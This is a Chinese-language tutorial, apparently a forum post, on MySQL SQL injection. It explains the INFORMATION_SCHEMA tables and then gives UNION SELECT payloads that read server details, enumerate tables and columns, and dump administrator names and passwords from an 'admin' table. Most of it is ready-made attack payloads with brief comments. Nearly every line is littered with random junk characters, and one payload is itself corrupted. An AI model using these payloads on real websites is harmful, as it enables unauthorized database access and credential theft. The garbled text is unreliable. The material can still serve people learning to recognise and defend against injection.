本文介绍MYSQL盲注的一些语句和方法% F) w. |) j- l
3 C0 {3 [8 i1 V v% J$ X学习盲注前先了解下 IFORMATION_SCHEMA 库
D2 ^9 s. c' S3 N, M1 E' a6 L) w, N% Z& E0 w
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
- P3 D# V, T3 i6 {% ~1 a1 S存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
& G! i2 I8 n6 a' t0 R( G1 z$ c0 u( V1.得到所有数据库名:0 `, P2 G( i9 j6 B) m- M m
|SCHEMATA ->存储数据库名的表, Q. L8 S* s* |' l# d) `
|---字段:SCHEMA_NAME ->数据库名称
9 ^6 a8 v6 U: U6 h# B
% _) B' x- v+ B( B: ? K|TABLES ->存储表名1 F. ^4 W* x0 j8 B
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
. f( S7 R( i6 d: _; v& F|---字段:TABLE_NAME ->存储表的表名! B j! ]4 y. \# _
: y: u) d- J" j- G& g9 N|COLUMNS ->存储的字段名表& a7 l! x+ l8 H* u+ _4 w
|---字段:TABLE_SCHEMA ->该字段所属数据库名- u9 d$ ~. i4 H) y
|---字段:TABLE_NAME ->存储所属表的名称7 x0 z, m |6 o. Y( g: c
9 H0 c# l# x6 O2 G0 `$ v+ N- g|---字段:COLUMN_NAME ->该字段的名称
% F4 _. s# v; a4 s' G# \) M* R/ H
) G0 x( w5 k$ y* M4 w4 a5 S4 O
7 [0 x$ h% W. j, M2 b7 b( w% A; J# e3 }) O0 ?3 H) s) A# m
###########################################################################
. r$ K$ S( s* t# ~* i9 a! l# ?) l& f7 [! }# v
0x001 获取系统信息:
' `1 e3 u/ Z$ H# i
, c) G" e2 M5 N4 [% hunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
* S3 ]1 V+ n- |- h% z) A- c3 u
) Z, G/ j7 Z W; q& ?% ^( {/ d' E/*) F+ P7 j& b9 P, r/ x6 u$ t
% E# `( Q6 z' C: ]
@@global.version_compile_os 获取系统版本. {/ H' B j. v, B: a; `6 r) {- e
) ^% v# M' g) y' Z1 I8 B4 `+ h% _ R
@@datadir 数据库路径
$ D% S4 s w" pdatabase() 当前数据库名称2 L9 h6 u0 e, H
0x3c62723e 换行HEX值
: F& C* ^: G; e/ T. C; `0 V( a" L. @
*/
1 L5 A8 F8 X, u7 A. C o1 S( J# J( k# Q2 Y0 j; S/ V" I& p9 H
8 H5 \# [) B' T/ o% e, |
1 T& B" Y1 t* o7 g/ T######################################################################
3 W; U" L! W/ Z) H8 j5 A- S4 }: _8 |% U1 Q/ e! w
0x002 获取表名
! B+ G& F, u* o# ]* M4 x
# f3 _# k2 P1 r* _& _7 Bunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*/ d6 J% \7 y! x
8 S; U* H( a G9 ? W# L- _ 2 R7 Q+ U0 S& v& k
/ n$ w, X, `) Z, Q/*
- O& U; H; T3 D0 X( j$ F4 t( H3 Z+ ]1 Q% f" i7 d/ l, d- F2 _
0x67617264656e 为当前数据库名
- L" |# E8 M4 b5 X; Z8 l, Q+ {" |% } Q. v
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
+ `3 f# s! Y. R2 n( z
' P4 G+ `4 {. D$ N" z9 p+ C1 ]+ [*/
+ N& T3 b& E8 ^* A
' G! r9 ~6 A6 A3 d: c) c- s######################################################################$ |5 _0 u: l* ^" @
% v& [. K, D* q
, v# S" T G& o4 d1 a. A u0 C
* }( D/ }; V! B, T8 G. W0x003 获取字段
8 m( e" G1 y5 N3 V# w- E* M2 G. q/ ~: }
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
" U% H; C' a' P; U
! V( S( [) O8 _- k/*. O6 u( k5 N6 A+ h5 ^
* t* F0 D5 C% r2 ngroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
& {/ D2 g$ j9 ~1 e' R7 G% Z1 u0 l% w1 V2 A( r) @
0x61646d696e ->选择一个表+ \; v ^! ^0 U* |. `$ {% N! D+ g
" T& e: R ]' P' K2 ^1 d$ z0x67617264656e ->数据库名2 d+ n4 T/ o1 i9 e, w! @
9 p# Z' K6 J5 z- j' K
*/; W7 l) `% U ]; w+ n# z
8 Y' U! N N6 W1 e& W#####################################################################
- k4 H* K) F" `2 \% M( @! l9 Q; j5 Z% ]% F& p$ f+ x6 ]/ X
9 w I5 e/ r7 v p3 Q
0 C8 C4 {' M$ B6 T* ]* i0 g' S5 G
0x004 获取数据
: L6 c; z* J$ Y* ?5 @* G" K( C7 j9 ^% }% ]& m1 T1 t: d# L
union select 1,2,31 R! j1 D' @- _) F' A
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin! C5 `: F. A6 ~ v
( |$ u9 @5 Q) [+ Y9 ]8 b
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
6 X- e- [$ G; w9 Y/ z+ t L0 g: g7 G
S, k* S. @7 b4 Y, C h7 P! ?# k* a
. D% ?0 V! k' H* d2 x
/*
' o7 Z5 q8 s0 ^ Q3 X7 M9 B/ H; k- y7 C- J
0x3c62723e 换行符号HEX编码5 h! y, B! q5 _) D/ `, f
3 i; N' R `. H& I% }) G1 wgroup_concat 同时获得该字段所有数据8 v: W: t( F" @ K! [
% V, L+ l4 i! c' `9 {( w( r* f5 _4 y: j*/) t4 W- o, e, E" Z' ~1 N- ]
) Q- E/ r% A0 i5 j, o% c9 b |